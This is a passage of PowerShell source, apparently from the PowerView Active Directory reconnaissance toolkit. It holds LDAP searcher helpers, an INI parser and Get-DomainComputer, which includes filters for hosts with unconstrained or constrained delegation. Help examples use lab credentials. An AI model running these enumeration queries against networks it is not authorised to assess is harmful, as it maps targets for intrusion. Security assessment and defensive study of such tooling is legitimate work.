parameters in the current parameter set Where-Object { $PSBoundParameters.Keys -notcontains $_ } # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified) $tmp = $null ForEach ($Parameter in $UnboundParameters) { $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0 if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) { $PSBoundParameters.$Parameter = $DefaultValue } } if($Dictionary) { $DPDictionary = $Dictionary } else { $DPDictionary = $InternalDictionary } # Shortcut for getting local variables $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0} # Strings to match attributes and validation arguments $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$' $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$' $AliasRegex = '^Alias$' $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute switch -regex ($PSBoundParameters.Keys) { $AttributeRegex { Try { $ParameterAttribute.$_ = . $GetVar } Catch { $_ } continue } } if($DPDictionary.Keys -contains $Name) { $DPDictionary.$Name.Attributes.Add($ParameterAttribute) } else { $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute] switch -regex ($PSBoundParameters.Keys) { $ValidationRegex { Try { $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop $AttributeCollection.Add($ParameterOptions) } Catch { $_ } continue } $AliasRegex { Try { $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop $AttributeCollection.Add($ParameterAlias) continue } Catch { $_ } } } $AttributeCollection.Add($ParameterAttribute) $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection) $DPDictionary.Add($Name, $Parameter) } } } End { if(!$CreateVariables -and !$Dictionary) { $DPDictionary } } } function Get-IniContent { <# .SYNOPSIS This helper parses an .ini file into a hashtable. Author: 'The Scripting Guys' Modifications: @harmj0y (-Credential support) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection .DESCRIPTION Parses an .ini file into a hashtable. If -Credential is supplied, then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file is parsed, and then the connection is destroyed with Remove-RemoteConnection. .PARAMETER Path Specifies the path to the .ini file to parse. .PARAMETER OutputObject Switch. Output a custom PSObject instead of a hashtable. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .EXAMPLE Get-IniContent C:\Windows\example.ini .EXAMPLE "C:\Windows\example.ini" | Get-IniContent -OutputObject Outputs the .ini details as a proper nested PSObject. .EXAMPLE "C:\Windows\example.ini" | Get-IniContent .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred .INPUTS String Accepts one or more .ini paths on the pipeline. .OUTPUTS Hashtable Ouputs a hashtable representing the parsed .ini file. .LINK https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('FullName', 'Name')] [ValidateNotNullOrEmpty()] [String[]] $Path, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $OutputObject ) BEGIN { $MappedComputers = @{} } PROCESS { ForEach ($TargetPath in $Path) { if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $HostComputer = (New-Object System.Uri($TargetPath)).Host if (-not $MappedComputers[$HostComputer]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential $MappedComputers[$HostComputer] = $True } } if (Test-Path -Path $TargetPath) { if ($PSBoundParameters['OutputObject']) { $IniObject = New-Object PSObject } else { $IniObject = @{} } Switch -Regex -File $TargetPath { "^\[(.+)\]" # Section { $Section = $matches[1].Trim() if ($PSBoundParameters['OutputObject']) { $Section = $Section.Replace(' ', '') $SectionObject = New-Object PSObject $IniObject | Add-Member Noteproperty $Section $SectionObject } else { $IniObject[$Section] = @{} } $CommentCount = 0 } "^(;.*)$" # Comment { $Value = $matches[1].Trim() $CommentCount = $CommentCount + 1 $Name = 'Comment' + $CommentCount if ($PSBoundParameters['OutputObject']) { $Name = $Name.Replace(' ', '') $IniObject.$Section | Add-Member Noteproperty $Name $Value } else { $IniObject[$Section][$Name] = $Value } } "(.+?)\s*=(.*)" # Key { $Name, $Value = $matches[1..2] $Name = $Name.Trim() $Values = $Value.split(',') | ForEach-Object { $_.Trim() } # if ($Values -isnot [System.Array]) { $Values = @($Values) } if ($PSBoundParameters['OutputObject']) { $Name = $Name.Replace(' ', '') $IniObject.$Section | Add-Member Noteproperty $Name $Values } else { $IniObject[$Section][$Name] = $Values } } } $IniObject } } } END { # remove the IPC$ mappings $MappedComputers.Keys | Remove-RemoteConnection } } function Get-DomainComputer { <# .SYNOPSIS Return all computers or specific computer objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all computer objects for the current domain are returned. .PARAMETER Identity A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. .PARAMETER UACFilter Dynamic parameter that accepts one or more values from $UACEnum, including "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. .PARAMETER Unconstrained Switch. Return computer objects that have unconstrained delegation. .PARAMETER TrustedToAuth Switch. Return computer objects that are trusted to authenticate for other principals. .PARAMETER Printers Switch. Return only printers. .PARAMETER SPN Return computers with a specific service principal name, wildcards accepted. .PARAMETER OperatingSystem Return computers with a specific operating system, wildcards accepted. .PARAMETER ServicePack Return computers with a specific service pack, wildcards accepted. .PARAMETER SiteName Return computers in the specific AD Site name, wildcards accepted. .PARAMETER Ping Switch. Ping each host to ensure it's up before enumerating. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainComputer Returns the current computers in current domain. .EXAMPLE Get-DomainComputer -SPN mssql* -Domain testlab.local Returns all MS SQL servers in the testlab.local domain. .EXAMPLE Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname Return the dns hostnames of servers trusted for delegation. .EXAMPLE Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained Search the specified OU for computeres that allow unconstrained delegation. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainComputer -Credential $Cred .OUTPUTS PowerView.Computer Custom PSObject with translated computer property fields. PowerView.Computer.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [OutputType('PowerView.Computer')] [OutputType('PowerView.Computer.Raw')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('SamAccountName', 'Name', 'DNSHostName')] [String[]] $Identity, [Switch] $Unconstrained, [Switch] $TrustedToAuth, [Switch] $Printers, [ValidateNotNullOrEmpty()] [Alias('ServicePrincipalName')] [String] $SPN, [ValidateNotNullOrEmpty()] [String] $OperatingSystem, [ValidateNotNullOrEmpty()] [String] $ServicePack, [ValidateNotNullOrEmpty()] [String] $SiteName, [Switch] $Ping, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) DynamicParam { $UACValueNames = [Enum]::GetNames($UACEnum) # add in the negations $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} # create new dynamic parameter New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) } BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $CompSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { #bind dynamic parameter to a friendly variable if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } if ($CompSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $CompSearcher = Get-DomainSearcher @SearcherArguments if (-not $CompSearcher) { Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance.Contains('.')) { $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } else { $IdentityFilter += "(name=$IdentityInstance)" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['Unconstrained']) { Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' } if ($PSBoundParameters['TrustedToAuth']) { Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } if ($PSBoundParameters['Printers']) { Write-Verbose '[Get-DomainComputer] Searching for printers' $Filter += '(objectCategory=printQueue)' } if ($PSBoundParameters['SPN']) { Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" $Filter += "(servicePrincipalName=$SPN)" } if ($PSBoundParameters['OperatingSystem']) { Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" $Filter += "(operatingsystem=$OperatingSystem)" } if ($PSBoundParameters['ServicePack']) { Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" $Filter += "(operatingsystemservicepack=$ServicePack)" } if ($PSBoundParameters['SiteName']) { Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" $Filter += "(serverreferencebl=$SiteName)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } # build the LDAP filter for the dynamic UAC filter value $UACFilter | Where-Object {$_} | ForEach-Object { if ($_ -match 'NOT_.*') { $UACField = $_.Substring(4) $UACValue = [Int]($UACEnum::$UACField) $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" } else { $UACValue = [Int]($UACEnum::$_) $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" } } $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } else { $Results = $CompSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Up = $True if ($PSBoundParameters['Ping']) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname } if ($Up) { if ($PSBoundParameters['Raw']) { # return raw result objects $Computer = $_ $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') } else { $Computer = Convert-LDAPProperty -Properties $_.Properties $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') } $Computer } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" } } $CompSearcher.dispose() } } } function Get-DomainSearcher { <# .SYNOPSIS Helper used by various functions that builds a custom AD searcher object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Domain .DESCRIPTION Takes a given domain and a number of customizations and returns a System.DirectoryServices.DirectorySearcher object. This function is used heavily by other LDAP/ADSI searcher functions (Verb-Domain*). .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER SearchBasePrefix Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the search. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainSearcher -Domain testlab.local Return a searcher for all objects in testlab.local. .EXAMPLE Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. .EXAMPLE Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). .OUTPUTS System.DirectoryServices.DirectorySearcher #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.DirectoryServices.DirectorySearcher')] [CmdletBinding()] Param( [Parameter(ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [String] $SearchBasePrefix, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit = 120, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { if ($PSBoundParameters['Domain']) { $TargetDomain = $Domain if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { # see if we can grab the user DNS logon domain from environment variables $UserDomain = $ENV:USERDNSDOMAIN if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) { $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain" } } } elseif ($PSBoundParameters['Credential']) { # if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain $DomainObject = Get-Domain -Credential $Credential $BindServer = ($DomainObject.PdcRoleOwner).Name $TargetDomain = $DomainObject.Name } elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { # see if we can grab the user DNS logon domain from environment variables $TargetDomain = $ENV:USERDNSDOMAIN if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) { $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain" } } else { # otherwise, resort to Get-Domain to retrieve the current domain object write-verbose "get-domain" $DomainObject = Get-Domain $BindServer = ($DomainObject.PdcRoleOwner).Name $TargetDomain = $DomainObject.Name } if ($PSBoundParameters['Server']) { # if there's not a specified server to bind to, try to pull a logon server from ENV variables $BindServer = $Server } $SearchString = 'LDAP://' if ($BindServer -and ($BindServer.Trim() -ne '')) { $SearchString += $BindServer if ($TargetDomain) { $SearchString += '/' } } if ($PSBoundParameters['SearchBasePrefix']) { $SearchString += $SearchBasePrefix + ',' } if ($PSBoundParameters['SearchBase']) { if ($SearchBase -Match '^GC://') { # if we're searching the global catalog, get the path in the right format $DN = $SearchBase.ToUpper().Trim('/') $SearchString = '' } else { if ($SearchBase -match '^LDAP://') { if ($SearchBase -match "LDAP://.+/.+") { $SearchString = '' $DN = $SearchBase } else { $DN = $SearchBase.SubString(7) } } else { $DN = $SearchBase } } } else { # transform the target domain name into a distinguishedName if an ADS search base is not specified if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" } } $SearchString += $DN Write-Verbose "[Get-DomainSearcher] search base: $SearchString" if ($Credential -ne [Management.Automation.PSCredential]::Empty) { Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" # bind to the inital search object using alternate credentials $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) } else { # bind to the inital object using the current credentials $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) } $Searcher.PageSize = $ResultPageSize $Searcher.SearchScope = $SearchScope $Searcher.CacheResults = $False $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All if ($PSBoundParameters['ServerTimeLimit']) { $Searcher.ServerTimeLimit = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $Searcher.Tombstone = $True } if ($PSBoundParameters['LDAPFilter']) { $Searcher.filter = $LDAPFilter } if ($PSBoundParameters['SecurityMasks']) { $Searcher.SecurityMasks = Switch ($SecurityMasks) { 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } 'Group' { [System.DirectoryServices.SecurityMasks]::Group } 'None' { [System.DirectoryServices.SecurityMasks]::None } 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } } } if ($PSBoundParameters['Properties']) { # handle an array of properties to load w/ the possibility of comma-separated strings $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) } $Searcher } } function Convert-LDAPProperty { <# .SYNOPSIS Helper that converts specific LDAP property result fields and outputs a custom psobject. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Converts a set of raw LDAP properties results from ADSI/LDAP searches into a proper PSObject. Used by several of the Get-Domain* function. .PARAMETER Properties Properties object to extract out LDAP fields for display. .OUTPUTS System.Management.Automation.PSCustomObject A custom PSObject with LDAP hashtable properties translated. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] $Properties ) $ObjectProperties = @{} $Properties.PropertyNames | ForEach-Object { if ($_ -ne 'adspath') { if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { # convert all listed sids (i.e. if multiple are listed in sidHistory) $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } } elseif ($_ -eq 'grouptype') { $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum } elseif ($_ -eq 'samaccounttype') { $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum } elseif ($_ -eq 'objectguid') { # convert the GUID to a string $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid } elseif ($_ -eq 'useraccountcontrol') { $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum } elseif ($_ -eq 'ntsecuritydescriptor') { # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 if ($Descriptor.Owner) { $ObjectProperties['Owner'] = $Descriptor.Owner } if ($Descriptor.Group) { $ObjectProperties['Group'] = $Descriptor.Group } if ($Descriptor.DiscretionaryAcl) { $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl } if ($Descriptor.SystemAcl) { $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl } } elseif ($_ -eq 'accountexpires') { if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { $ObjectProperties[$_] = "NEVER" } else { $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) } } elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { # convert timestamps if ($Properties[$_][0] -is [System.MarshalByRefObject]) { # if we have a System.__ComObject $Temp = $Properties[$_][0] [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) } else { # otherwise just a string $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) } } elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { # try to convert misc com objects $Prop = $Properties[$_] try { $Temp = $Prop[$_][0] [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) } catch { Write-Verbose "[Convert-LDAPProperty] error: $_" $ObjectProperties[$_] = $Prop[$_] } } elseif ($Properties[$_].count -eq 1) { $ObjectProperties[$_] = $Properties[$_][0] } else { $ObjectProperties[$_] = $Properties[$_] } } } try { New-Object -TypeName PSObject -Property $ObjectProperties } catch { Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" } } function Get-Domain { <# .SYNOPSIS Returns the domain object for the current (or specified) domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current domain or the domain specified with -Domain X. .PARAMETER Domain Specifies the domain name to query for, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-Domain -Domain testlab.local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-Domain -Credential $Cred .OUTPUTS System.DirectoryServices.ActiveDirectory.Domain A complex .NET domain object. .LINK http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG #> [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { if ($PSBoundParameters['Credential']) { Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' if ($PSBoundParameters['Domain']) { $TargetDomain = $Domain } else { # if no domain is supplied, extract the logon domain from the PSCredential passed $TargetDomain = $Credential.GetNetworkCredential().Domain Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" } $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) try { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" } } elseif ($PSBoundParameters['Domain']) { $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) try { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" } } else { try { [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" } } } } $Mod = New-InMemoryModule -ModuleName Win32 # [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')] # used to parse the 'samAccountType' property for users/computers/groups $SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{ DOMAIN_OBJECT = '0x00000000' GROUP_OBJECT = '0x10000000' NON_SECURITY_GROUP_OBJECT = '0x10000001' ALIAS_OBJECT = '0x20000000' NON_SECURITY_ALIAS_OBJECT = '0x20000001' USER_OBJECT = '0x30000000' MACHINE_ACCOUNT = '0x30000001' TRUST_ACCOUNT = '0x30000002' APP_BASIC_GROUP = '0x40000000' APP_QUERY_GROUP = '0x40000001' ACCOUNT_TYPE_MAX = '0x7fffffff' } # used to parse the 'grouptype' property for groups $GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{ CREATED_BY_SYSTEM = 